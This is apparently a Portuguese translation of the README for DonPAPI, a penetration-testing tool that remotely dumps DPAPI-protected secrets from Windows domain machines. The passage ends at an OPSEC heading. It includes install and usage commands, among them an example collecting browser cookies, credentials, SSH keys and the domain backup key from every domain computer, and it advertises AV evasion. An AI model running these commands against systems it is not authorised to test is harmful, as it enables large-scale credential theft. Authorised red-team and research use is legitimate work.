DonPAPI

DonPAPI automatiza a extração remota de segredos em múltiplos computadores Windows, com foco em evasão de defesa.

Credenciais coletadas:

• Credenciais do navegador Chromium, Cookies e Chrome Refresh Token
• Certificados do Windows
• Gerenciador de Credenciais
• Credenciais e Cookies do navegador Firefox
• Credenciais do Mobaxterm
• Credenciais do MRemoteNg
• Credenciais do RDC Manager
• Arquivos na Área de Trabalho e na pasta Recentes
• Credenciais do SCCM
• Credenciais de Cofres (Vaults)
• Credenciais de VNC
• Credenciais de Wi-Fi

Fizemos uma palestra em francês sobre DPAPI chamada DPAPI - Don't Put Administration Passwords In 🇫🇷:

• Slides

Índice

• DonPAPI
  • Instalação
  • Início Rápido
  • Uso
    • collect
      • Autenticação
      • Coleta
      • OPSEC
      • Recuperação
      • Coleta Contínua
    • gui
      • Web
      • Funcionalidades
  • Aviso Legal
  • Créditos

Instalação

Esta ferramenta deve ser instalada com pipx ou em um ambiente virtual dedicado

pipx install donpapi

ou (com os commits mais recentes)

pipx install git+https://github.com/login-securite/DonPAPI.git

ou (para desenvolvimento)

git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI

Início Rápido

pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui

Uso

usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...

Dump revelant information on compromised targets without AV detection. Version: 2.0.0

positional arguments:
  {collect,gui}         DonPAPI Action
    collect             Dump secrets on a target list
    gui                 Spawn a Flask webserver to crawl DonPAPI database

options:
  -h, --help            show this help message and exit
  -v                    Verbosity level (-v or -vv)
  -o DIRNAME, --output-directory DIRNAME
                        Output directory. Default is ~/.donpapi/loot/

collect

Esta ação é usada para coletar segredos nos alvos especificados em -t.

usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
                   [-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
                   [-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
                   [--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]

options:
  -h, --help            show this help message and exit
  --keep-collecting seconds
                        Rerun the attack against all targets after X seconds, X being the value
  --threads Number of threads
                        Number of threads (default: 50)
  --no-config           Do not load donpapi config file (~/.donpapi/donpapi.conf)

authentication:
  -t TARGET [TARGET ...], --target TARGET [TARGET ...]
                        the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
                        computer hostnames from LDAP
  -d domain.local, --domain domain.local
                        Domain
  -u username, --username username
                        Username
  -p password, --password password
                        Password
  -H LMHASH:NTHASH, --hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  --no-pass             don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  --aesKey hex key      AES key to use for Kerberos Authentication (1128 or 256 bits)
  --laps Administrator  use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
  --dc-ip IP address    IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
                        The recover file path. If used, the other parameters will be ignored

attacks:
  -c COLLECTORS, --collectors COLLECTORS
                        Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
                        previous) (default: All)
  -nr, --no-remoteops   Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
  --fetch-pvk           Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
  --pvkfile PVKFILE     Pvk file with domain backup key
  --pwdfile PWDFILE     File containing username:password that will be used eventually to decrypt masterkeys
  --ntfile NTFILE       File containing username:nthash that will be used eventually to decrypt masterkeys
  --mkfile MKFILE       File containing {GUID}:SHA1 masterkeys mappings

Autenticação

A autenticação funciona especificando um domínio com --domain, um nome de usuário com --username e, eventualmente, uma senha com --password, um hash com --hashes, uma chave AES com --aesKey ou um ticket Kerberos no formato ccache com -k (estilo Impacket). Você também pode autenticar via LAPS no computador com --laps e o nome da conta LAPS local como valor para este parâmetro.

Coleta

Por padrão, o DonPAPI coletará:

• Chromium: Credenciais do navegador Chromium, Cookies e Chrome Refresh Token
• Certificates: Certificados do Windows
• CredMan: Gerenciador de Credenciais
• Firefox: Credenciais e Cookies do navegador Firefox
• MobaXterm: Credenciais do Mobaxterm
• MRemoteNg: Credenciais do MRemoteNg
• RDCMan: Credenciais do RDC Manager
• Files: Arquivos na Área de Trabalho e na pasta Recentes
• SCCM: Credenciais do SCCM
• Vaults: Credenciais de Cofres (Vaults)
• VNC: Credenciais de VNC
• Wifi: Credenciais de Wi-Fi
• CloudCredentials: Credenciais de nuvem
• IDEProjects: Arquivos de projetos de IDE
• PasswordManagers: Arquivos de gerenciadores de senhas
• PowerShellHistory: Arquivos de histórico do PowerShell
• RecycleBin: Arquivos da Lixeira
• SSHSecrets: Arquivos de segredos SSH (chaves)
• VersionControlSystems: Ferramentas de versionamento (por exemplo, git)

Você pode especificar cada um que deseja coletar com --collectors (estilo SharpHound). Se usar --fetch-pvk, o DonPAPI buscará automaticamente a Chave de Backup do Domínio do AD e a usará para descriptografar chaves mestras. Caso contrário, você pode fornecer uma com --pvkfile. --pwdfile, --ntfile são usados para alimentar o DonPAPI com segredos para desbloquear chaves mestras. Mas se você tiver chaves mestras recentemente descriptografadas, pode usar --mkfile.

[!WARNING] Alguns métodos de coleta precisarão extrair segredos do LSA (para obter a chave de máquina DPAPI). Essa ação pode ser ruidosa, e um EDR moderno o bloqueará instantaneamente. Você pode usar -nr para evitar essas ações ruidosas, mas alguns segredos não serão coletados.

OPSEC